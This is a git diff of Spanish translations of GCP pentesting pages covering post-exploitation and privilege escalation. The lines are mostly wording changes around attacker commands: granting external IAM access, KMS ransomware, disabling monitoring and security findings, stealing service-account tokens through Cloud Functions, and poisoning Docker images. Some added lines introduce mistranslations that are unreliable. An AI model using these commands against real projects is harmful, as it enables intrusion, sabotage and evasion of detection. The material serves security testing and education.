gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
@@ -66,7 +66,7 @@ echo "hello"; <reverse shell>'
Con el objetivo de acceder a los **datos almacenados en un disco o un snapshot, podrías transformar el snapshot en un disco, un disco en una imagen y seguir los pasos anteriores.**
O podrías **otorgar acceso a una cuenta externa** sobre el disco (si el punto de partida es un snapshot, otorgar acceso sobre el snapshot o crear un disco a partir de él):
O podrías **otorgar acceso a una cuenta externa** sobre el disco (si el punto de partida es un snapshot, otorga acceso sobre el snapshot o crea un disco a partir de él):
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
@@ -101,6 +101,6 @@ sudo mkdir -p /mnt/disks/[MOUNT_DIR]
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```
Si **no puedes dar acceso a un proyecto externo** a la instantánea o disco, es posible que necesites **realizar estas acciones dentro de una instancia en el mismo proyecto que la instantánea/disk**.
Si **no puedes dar acceso a un proyecto externo** a la instantánea o disco, es posible que necesites **realizar estas acciones dentro de una instancia en el mismo proyecto que la instantánea/disco**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Para más información sobre Filestore consulta:
### Montar Filestore
Un sistema de archivos compartido **podría contener información sensible** interesante desde la perspectiva de un atacante. Con acceso al Filestore es posible **montarlo**:
Un sistema de archivos compartido **puede contener información sensible** interesante desde la perspectiva de un atacante. Con acceso al Filestore es posible **montarlo**:
```bash
sudo apt-get update
sudo apt-get install nfs-common
@@ -56,7 +56,7 @@ gcloud filestore instances update nfstest \
}
}
```
### Restore a backup
### Restaurar una copia de seguridad
Si hay una copia de seguridad, es posible **restaurarla** en una instancia existente o en una nueva para que su **información sea accesible:**
```bash

View File

@@ -12,7 +12,7 @@ Puedes encontrar más información sobre IAM en:
### Conceder acceso a la consola de administración <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
El acceso a la [consola de administración de GCP](https://console.cloud.google.com) es **proporcionado a cuentas de usuario, no a cuentas de servicio**. Para iniciar sesión en la interfaz web, puedes **conceder acceso a una cuenta de Google** que controlas. Esta puede ser una cuenta genérica "**@gmail.com**", no **tiene que ser miembro de la organización objetivo**.
El acceso a la [consola de administración de GCP](https://console.cloud.google.com) es **proporcionado a cuentas de usuario, no a cuentas de servicio**. Para iniciar sesión en la interfaz web, puedes **conceder acceso a una cuenta de Google** que controlas. Esta puede ser una cuenta genérica "**@gmail.com**", no tiene **que ser miembro de la organización objetivo**.
Para **conceder** el rol primitivo de **Propietario** a una cuenta genérica "@gmail.com", necesitarás **usar la consola web**. `gcloud` generará un error si intentas concederle un permiso superior a Editor.

View File

@@ -61,7 +61,7 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
En AWS es posible **robar completamente una clave KMS** modificando la política de recursos de KMS y permitiendo que solo la cuenta del atacante use la clave. Como estas políticas de recursos no existen en GCP, esto no es posible.
Sin embargo, hay otra forma de realizar un ransomware global de KMS, que implicaría los siguientes pasos:
Sin embargo, hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos:
- Crear una **nueva versión de la clave con un material de clave** importado por el atacante.
```bash

View File

@@ -1,16 +1,16 @@
# GCP - Logging Post Exploitation
# GCP - Registro Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
Para más información, consulta:
Para más información consulta:
{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}
Para otras formas de interrumpir la monitorización, consulta:
Para otras formas de interrumpir la monitorización consulta:
{{#ref}}
gcp-monitoring-post-exploitation.md
@@ -18,7 +18,7 @@ gcp-monitoring-post-exploitation.md
### Registro Predeterminado
**Por defecto, no serás atrapado solo por realizar acciones de lectura. Para más información, consulta la sección de Logging Enum.**
**Por defecto, no serás atrapado solo por realizar acciones de lectura. Para más información consulta la sección de Enumeración de Registros.**
### Agregar Principal Excluido

View File

@@ -89,7 +89,7 @@ gcloud alpha monitoring channels delete <channel>
```
### `monitoring.notificationChannels.update`
Actualizar etiquetas de un canal para interrumpirlo:
Actualiza las etiquetas de un canal para interrumpirlo:
```bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels

View File

@@ -106,7 +106,7 @@ gcloud pubsub schemas delete <SCHEMA NAME>
```
### `pubsub.schemas.setIamPolicy`
Otórgate los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente.
Otórgese los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`

View File

@@ -4,7 +4,7 @@
## Secretmanager
Para más información sobre Secret Manager, consulta:
Para más información sobre Secret Manager consulta:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md

View File

@@ -4,7 +4,7 @@
## Seguridad
Para más información, consulta:
Para más información consulta:
{{#ref}}
../gcp-services/gcp-security-enum.md
@@ -41,7 +41,7 @@ gcloud scc findings set-mute 789 --organization=organizations/123 --source=4
```
### `securitycenter.findings.update`
Actualizar un hallazgo para indicar información errónea:
Actualiza un hallazgo para indicar información errónea:
```bash
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
```

View File

@@ -4,20 +4,20 @@
## Introducción a la Escalación de Privilegios en GCP <a href="#introduction-to-gcp-privilege-escalation" id="introduction-to-gcp-privilege-escalation"></a>
GCP, como cualquier otra nube, tiene algunos **principales**: usuarios, grupos y cuentas de servicio, y algunos **recursos** como compute engine, cloud functions…\
Luego, a través de roles, **se otorgan permisos a esos principales sobre los recursos**. Esta es la forma de especificar los permisos que un principal tiene sobre un recurso en GCP.\
GCP, como cualquier otra nube, tiene algunos **principios**: usuarios, grupos y cuentas de servicio, y algunos **recursos** como compute engine, cloud functions…\
Luego, a través de roles, **se otorgan permisos a esos principios sobre los recursos**. Esta es la forma de especificar los permisos que un principio tiene sobre un recurso en GCP.\
Hay ciertos permisos que permitirán a un usuario **obtener aún más permisos** sobre el recurso o recursos de terceros, y eso es lo que se llama **escalación de privilegios** (también, la explotación de vulnerabilidades para obtener más permisos).
Por lo tanto, me gustaría separar las técnicas de escalación de privilegios en GCP en **2 grupos**:
- **Privesc a un principal**: Esto te permitirá **suplantar a otro principal**, y por lo tanto actuar como él con todos sus permisos. p.ej.: Abusar de _getAccessToken_ para suplantar una cuenta de servicio.
- **Privesc a un principio**: Esto te permitirá **suplantar a otro principio**, y por lo tanto actuar como él con todos sus permisos. p.ej.: Abusar de _getAccessToken_ para suplantar una cuenta de servicio.
- **Privesc sobre el recurso**: Esto te permitirá **obtener más permisos sobre el recurso específico**. p.ej.: puedes abusar del permiso _setIamPolicy_ sobre cloudfunctions para permitirte activar la función.
- Ten en cuenta que algunos **permisos de recursos también te permitirán adjuntar una cuenta de servicio arbitraria** al recurso. Esto significa que podrás lanzar un recurso con un SA, entrar en el recurso y **robar el token del SA**. Por lo tanto, esto permitirá escalar a un principal a través de una escalación de recursos. Esto ha sucedido en varios recursos anteriormente, pero ahora es menos frecuente (pero aún puede suceder).
- Ten en cuenta que algunos **permisos de recursos también te permitirán adjuntar una cuenta de servicio arbitraria** al recurso. Esto significa que podrás lanzar un recurso con un SA, entrar en el recurso y **robar el token de SA**. Por lo tanto, esto permitirá escalar a un principio a través de una escalación de recursos. Esto ha sucedido en varios recursos anteriormente, pero ahora es menos frecuente (pero aún puede suceder).
Obviamente, las técnicas de escalación de privilegios más interesantes son las del **segundo grupo** porque te permitirán **obtener más privilegios fuera de los recursos sobre los que ya tienes** algunos privilegios. Sin embargo, ten en cuenta que **escalar en recursos** también puede darte acceso a **información sensible** o incluso a **otros principales** (quizás a través de la lectura de un secreto que contiene un token de un SA).
Obviamente, las técnicas de escalación de privilegios más interesantes son las del **segundo grupo** porque te permitirán **obtener más privilegios fuera de los recursos sobre los que ya tienes** algunos privilegios. Sin embargo, ten en cuenta que **escalar en recursos** también puede darte acceso a **información sensible** o incluso a **otros principios** (quizás a través de la lectura de un secreto que contiene un token de un SA).
> [!WARNING]
> También es importante notar que en **GCP las Cuentas de Servicio son tanto principales como permisos**, por lo que escalar privilegios en un SA también te permitirá suplantarlo.
> También es importante notar que en **GCP las Cuentas de Servicio son tanto principios como permisos**, por lo que escalar privilegios en un SA también te permitirá suplantarlo.
> [!NOTE]
> Los permisos entre paréntesis indican los permisos necesarios para explotar la vulnerabilidad con `gcloud`. Esos pueden no ser necesarios si se explota a través de la API.
@@ -31,7 +31,7 @@ Así es como **pruebo permisos específicos** para realizar acciones específica
## Eludir los alcances de acceso <a href="#bypassing-access-scopes" id="bypassing-access-scopes"></a>
Los tokens de SA filtrados del servicio de metadatos de GCP tienen **alcances de acceso**. Estas son **restricciones** sobre los **permisos** que tiene el token. Por ejemplo, si el token tiene el **`https://www.googleapis.com/auth/cloud-platform`** alcance, tendrá **acceso completo** a todos los servicios de GCP. Sin embargo, si el token tiene el **`https://www.googleapis.com/auth/cloud-platform.read-only`** alcance, solo tendrá **acceso de solo lectura** a todos los servicios de GCP incluso si el SA tiene más permisos en IAM.
Los tokens de SA filtrados del servicio de metadatos de GCP tienen **alcances de acceso**. Estas son **restricciones** sobre los **permisos** que tiene el token. Por ejemplo, si el token tiene el **alcance `https://www.googleapis.com/auth/cloud-platform`**, tendrá **acceso total** a todos los servicios de GCP. Sin embargo, si el token tiene el **alcance `https://www.googleapis.com/auth/cloud-platform.read-only`**, solo tendrá **acceso de solo lectura** a todos los servicios de GCP incluso si el SA tiene más permisos en IAM.
No hay una forma directa de eludir estos permisos, pero siempre podrías intentar buscar **nuevas credenciales** en el host comprometido, **encontrar la clave del servicio** para generar un token OAuth sin restricciones o **saltar a una VM diferente menos restringida**.

View File

@@ -20,7 +20,7 @@ Para otras formas de crear claves API consulta:
gcp-serviceusage-privesc.md
{{#endref}}
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
### Acceso a clave API por fuerza bruta <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
Como puede que no sepas qué APIs están habilitadas en el proyecto o las restricciones aplicadas a la clave API que encontraste, sería interesante ejecutar la herramienta [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) y verificar **a qué puedes acceder con la clave API.**
@@ -44,7 +44,7 @@ Puedes encontrar un script para automatizar la [**creación, explotación y limp
> [!CAUTION]
> Ten en cuenta que, por defecto, los usuarios tienen permisos para crear nuevos proyectos y se les otorga el rol de Owner sobre el nuevo proyecto. Así que un usuario podría **crear un proyecto y una clave API dentro de este proyecto**.
### `apikeys.keys.getKeyString`, `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
Estos permisos permiten **listar y obtener todas las apiKeys y obtener la clave**:
```bash
@@ -56,7 +56,7 @@ Puedes encontrar un script para automatizar la [**creación, explotación y limp
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
Estos permisos te permiten **listar y regenerar claves de API eliminadas**. La **clave de API se proporciona en la salida** después de que se complete la **recuperación**:
Estos permisos te permiten **listar y regenerar claves de API eliminadas**. La **clave de API se proporciona en la salida** después de que se complete la **eliminación**:
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

View File

@@ -4,7 +4,7 @@
## App Engine
Para más información sobre App Engine, consulta:
Para más información sobre App Engine consulta:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -22,10 +22,10 @@ Para cambiarlo y crear una segunda App, en **`app.yaml`**, cambia el valor de la
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Dale al menos 10-15 minutos, si no funciona llama a **desplegar otra vez** y espera algunos minutos.
Dale al menos 10-15 minutos, si no funciona llama a **deploy another of times** y espera algunos minutos.
> [!NOTE]
> Es **posible indicar la Cuenta de Servicio a utilizar** pero por defecto, se utiliza la SA predeterminada de App Engine.
> Es **posible indicar la cuenta de servicio a utilizar** pero por defecto, se utiliza la cuenta de servicio predeterminada de App Engine.
La URL de la aplicación es algo como `https://<proj-name>.oa.r.appspot.com/` o `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
@@ -68,13 +68,13 @@ gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
Con estos permisos, es posible **iniciar sesión a través de ssh en las instancias de App Engine** de tipo **flexible** (no estándar). Algunos de los permisos **`list`** y **`get`** **podrían no ser realmente necesarios**.
Con estos permisos, es posible **iniciar sesión a través de ssh en instancias de App Engine** de tipo **flexible** (no estándar). Algunos de los permisos **`list`** y **`get`** **podrían no ser realmente necesarios**.
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
Creo que esto solo cambia la cuenta de servicio de fondo que Google utilizará para configurar las aplicaciones, así que no creo que puedas abusar de esto para robar la cuenta de servicio.
Creo que esto solo cambia el SA de fondo que Google utilizará para configurar las aplicaciones, así que no creo que puedas abusar de esto para robar la cuenta de servicio.
```bash
gcloud app update --service-account=<sa_email>
```
@@ -96,7 +96,7 @@ gcp-storage-privesc.md
### Acceso de escritura sobre el Registro de Artefactos
A pesar de que App Engine crea imágenes de docker dentro del Registro de Artefactos. Se probó que **incluso si modificas la imagen dentro de este servicio** y eliminas la instancia de App Engine (para que se despliegue una nueva) el **código ejecutado no cambia**.\
Podría ser posible que al realizar un **ataque de condición de carrera como con los buckets podría ser posible sobrescribir el código ejecutado**, pero esto no fue probado.
A pesar de que App Engine crea imágenes de docker dentro del Registro de Artefactos. Se probó que **incluso si modificas la imagen dentro de este servicio** y eliminas la instancia de App Engine (así se despliega una nueva) el **código ejecutado no cambia**.\
Podría ser posible que realizando un **ataque de condición de carrera como con los buckets podría ser posible sobrescribir el código ejecutado**, pero esto no fue probado.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Artifact Registry
Para más información sobre Artifact Registry, consulta:
Para más información sobre Artifact Registry consulta:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -24,7 +24,7 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
> [!CAUTION]
> Se verificó que es **posible subir una nueva imagen docker maliciosa** con el mismo nombre y etiqueta que la ya presente, por lo que la **antigua perderá la etiqueta** y la próxima vez que se **descargue la imagen con esa etiqueta, se descargará la maliciosa**.
> Se verificó que es **posible subir una nueva imagen docker maliciosa** con el mismo nombre y etiqueta que la ya presente, por lo que la **anterior perderá la etiqueta** y la próxima vez que se **descargue la imagen con esa etiqueta, se descargará la maliciosa**.
<details>
@@ -100,7 +100,7 @@ rm -rf dist build hello_world.egg-info
</details>
> [!CAUTION]
> No es posible subir una biblioteca de python con la misma versión que la ya presente, pero es posible subir **versiones mayores** (o agregar un **`.0` al final** de la versión si eso funciona -no en python, sin embargo-), o **eliminar la última versión y subir una nueva con** (necesario `artifactregistry.versions.delete)`**:**
> No es posible subir una biblioteca de python con la misma versión que la ya presente, pero es posible subir **versiones mayores** (o agregar un extra **`.0` al final** de la versión si eso funciona -no en python, sin embargo-), o **eliminar la última versión y subir una nueva con** (necesario `artifactregistry.versions.delete)`**:**
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
@@ -118,7 +118,7 @@ gcloud auth configure-docker <location>-docker.pkg.dev
# Dowload image
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
Descargar una **python** biblioteca:
Descarga una **python** biblioteca:
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
@@ -137,23 +137,23 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
```
### `artifactregistry.repositories.delete`
Eliminar un repositorio completo (incluso si tiene contenido):
Elimina un repositorio completo (incluso si tiene contenido):
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
### `artifactregistry.repositories.setIamPolicy`
Un atacante con este permiso podría otorgarse permisos para realizar algunos de los ataques de repositorio mencionados anteriormente.
Un atacante con este permiso podría otorgarse permisos para realizar algunos de los ataques al repositorio mencionados anteriormente.
### Pivotando a otros Servicios a través de la Lectura y Escritura de Artifact Registry
### Pivotando a otros Servicios a través de Artifact Registry Read & Write
- **Cloud Functions**
Cuando se crea una Cloud Function, se empuja una nueva imagen de docker al Artifact Registry del proyecto. Intenté modificar la imagen con una nueva, e incluso eliminar la imagen actual (y la imagen `cache`) y nada cambió, la función en la nube continuó funcionando. Por lo tanto, tal vez **podría ser posible abusar de un ataque de Condición de Carrera** como con el bucket para cambiar el contenedor de docker que se ejecutará, pero **simplemente modificando la imagen almacenada no es posible comprometer la Cloud Function**.
Cuando se crea una Cloud Function, se empuja una nueva imagen de docker al Artifact Registry del proyecto. Intenté modificar la imagen con una nueva, e incluso eliminar la imagen actual (y la imagen `cache`) y nada cambió, la función en la nube continuó funcionando. Por lo tanto, **podría ser posible abusar de un ataque de Race Condition** como con el bucket para cambiar el contenedor de docker que se ejecutará, pero **simplemente modificando la imagen almacenada no es posible comprometer la Cloud Function**.
- **App Engine**
A pesar de que App Engine crea imágenes de docker dentro de Artifact Registry. Se probó que **incluso si modificas la imagen dentro de este servicio** y eliminas la instancia de App Engine (para que se despliegue una nueva), el **código ejecutado no cambia**.\
Podría ser posible que al realizar un **ataque de Condición de Carrera como con los buckets, podría ser posible sobrescribir el código ejecutado**, pero esto no fue probado.
Podría ser posible que al realizar un **ataque de Race Condition como con los buckets, podría ser posible sobrescribir el código ejecutado**, pero esto no fue probado.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## BigQuery
Para más información sobre BigQuery, consulta:
Para más información sobre BigQuery consulta:
{{#ref}}
../gcp-services/gcp-bigquery-enum.md
@@ -19,12 +19,12 @@ bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT
```
### Exportar datos
Esta es otra forma de acceder a los datos. **Exportarlo a un bucket de almacenamiento en la nube** y **descargar los archivos** con la información.\
Esta es otra forma de acceder a los datos. **Expórtalo a un bucket de almacenamiento en la nube** y **descarga los archivos** con la información.\
Para realizar esta acción se necesitan los siguientes permisos: **`bigquery.tables.export`**, **`bigquery.jobs.create`** y **`storage.objects.create`**.
```bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
```
### Insert data
### Insertar datos
Puede ser posible **introducir ciertos datos de confianza** en una tabla de Bigquery para abusar de una **vulnerabilidad en algún otro lugar.** Esto se puede hacer fácilmente con los permisos **`bigquery.tables.get`**, **`bigquery.tables.updateData`** y **`bigquery.jobs.create`**:
```bash
@@ -48,7 +48,7 @@ bq add-iam-policy-binding \
```
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
Solo este permiso permite **actualizar tu acceso a un conjunto de datos de BigQuery modificando las ACLs** que indican quién puede acceder a él:
Solo este permiso permite **actualizar tu acceso a un conjunto de datos de BigQuery modificando los ACLs** que indican quién puede acceder a él:
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
@@ -72,7 +72,7 @@ bq add-iam-policy-binding \
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
Según la documentación, con los permisos mencionados es posible **actualizar una política de fila.**\
Sin embargo, **usando el cli `bq`** necesitas algunos más: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
Sin embargo, **usando la cli `bq`** necesitas algunos más: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
```

View File

@@ -4,7 +4,7 @@
## cloudbuild
Para más información sobre Cloud Build, consulta:
Para más información sobre Cloud Build consulta:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -21,13 +21,13 @@ Para una explicación más detallada, visita [https://rhinosecuritylabs.com/gcp/
### `cloudbuild.builds.update`
**Potencialmente** con este permiso podrás **actualizar un cloud build y simplemente robar el token de la cuenta de servicio** como se realizó con el permiso anterior (pero desafortunadamente en el momento de escribir esto no pude encontrar ninguna forma de llamar a esa API).
**Potencialmente** con este permiso podrás **actualizar un cloud build y simplemente robar el token de la cuenta de servicio** como se realizó con el permiso anterior (pero desafortunadamente en el momento de escribir esto no pude encontrar ninguna manera de llamar a esa API).
TODO
### `cloudbuild.repositories.accessReadToken`
Con este permiso, el usuario puede obtener el **token de acceso de lectura** utilizado para acceder al repositorio:
Con este permiso el usuario puede obtener el **token de acceso de lectura** utilizado para acceder al repositorio:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \

View File

@@ -12,19 +12,19 @@ Más información sobre Cloud Functions:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Un atacante con estos privilegios puede **crear una nueva Cloud Function con código arbitrario (malicioso) y asignarle una Cuenta de Servicio**. Luego, filtrar el token de la Cuenta de Servicio desde los metadatos para escalar privilegios a ella.\
Un atacante con estos privilegios puede **crear una nueva Cloud Function con código arbitrario (malicioso) y asignarle una Service Account**. Luego, filtrar el token de la Service Account desde los metadatos para escalar privilegios a ella.\
Algunos privilegios para activar la función pueden ser requeridos.
Los scripts de explotación para este método se pueden encontrar [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) y [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) y el archivo .zip preconstruido se puede encontrar [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Un atacante con estos privilegios puede **modificar el código de una Funcn e incluso modificar la cuenta de servicio adjunta** con el objetivo de exfiltrar el token.
Un atacante con estos privilegios puede **modificar el código de una Function e incluso modificar la service account adjunta** con el objetivo de exfiltrar el token.
> [!CAUTION]
> Para desplegar funciones en la nube también necesitarás permisos actAs sobre la cuenta de servicio de cómputo predeterminada o sobre la cuenta de servicio que se utiliza para construir la imagen.
> Para desplegar funciones en la nube también necesitarás permisos actAs sobre la service account de cómputo predeterminada o sobre la service account que se utiliza para construir la imagen.
Algunos privilegios adicionales como el permiso `.call` para cloudfunctions versión 1 o el rol `role/run.invoker` para activar la función pueden ser requeridos.
Algunos privilegios adicionales como el permiso `.call` para la versión 1 de cloudfunctions o el rol `role/run.invoker` para activar la función pueden ser requeridos.
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -55,7 +55,7 @@ gcloud functions deploy <cloudfunction-name> \
gcloud functions call <cloudfunction-name>
```
> [!CAUTION]
> Si obtienes el error `Permission 'run.services.setIamPolicy' denied on resource...` es porque estás usando el parámetro `--allow-unauthenticated` y no tienes suficientes permisos para ello.
> Si recibes el error `Permission 'run.services.setIamPolicy' denied on resource...` es porque estás usando el parámetro `--allow-unauthenticated` y no tienes suficientes permisos para ello.
El script de explotación para este método se puede encontrar [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
@@ -69,7 +69,7 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
No estoy realmente seguro de cuán útil es solo este permiso desde la perspectiva de un atacante, pero es bueno saberlo.
No estoy muy seguro de cuán útil es solo este permiso desde la perspectiva de un atacante, pero es bueno saberlo.
### `cloudfunctions.functions.setIamPolicy`, `iam.serviceAccounts.actAs`
@@ -77,7 +77,7 @@ Dáte cualquiera de los privilegios anteriores **`.update`** o **`.create`** par
### `cloudfunctions.functions.update`
Solo tener permisos de **`cloudfunctions`**, sin **`iam.serviceAccounts.actAs`**, **no podrás actualizar la función ASÍ QUE ESTO NO ES UNA ESCALADA VÁLIDA.**
Solo tener permisos de **`cloudfunctions`**, sin **`iam.serviceAccounts.actAs`**, **no podrás actualizar la función ASÍ QUE ESTO NO ES UNA ESCALADA DE PRIVILEGIOS VÁLIDA.**
### Acceso de Lectura y Escritura sobre el bucket
@@ -98,7 +98,7 @@ Sin embargo, no puedes usar esto para pre-comprometer Cloud Functions de tercero
### Acceso de Lectura y Escritura sobre el Registro de Artefactos
Cuando se crea una Cloud Function, se envía una nueva imagen de docker al Registro de Artefactos del proyecto. Intenté modificar la imagen con una nueva, e incluso eliminar la imagen actual (y la imagen `cache`), y nada cambió, la función en la nube continuó funcionando. Por lo tanto, tal vez **podría ser posible abusar de un ataque de Condición de Carrera** como con el bucket para cambiar el contenedor de docker que se ejecutará, pero **simplemente modificar la imagen almacenada no es posible para comprometer la Cloud Function**.
Cuando se crea una Cloud Function, se envía una nueva imagen de docker al Registro de Artefactos del proyecto. Intenté modificar la imagen con una nueva, e incluso eliminar la imagen actual (y la imagen `cache`), y nada cambió, la función en la nube continuó funcionando. Por lo tanto, tal vez **podría ser posible abusar de un ataque de Condición de Carrera** como con el bucket para cambiar el contenedor de docker que se ejecutará, pero **solo modificando la imagen almacenada no es posible comprometer la Cloud Function**.
## Referencias

Some files were not shown because too many files have changed in this diff Show More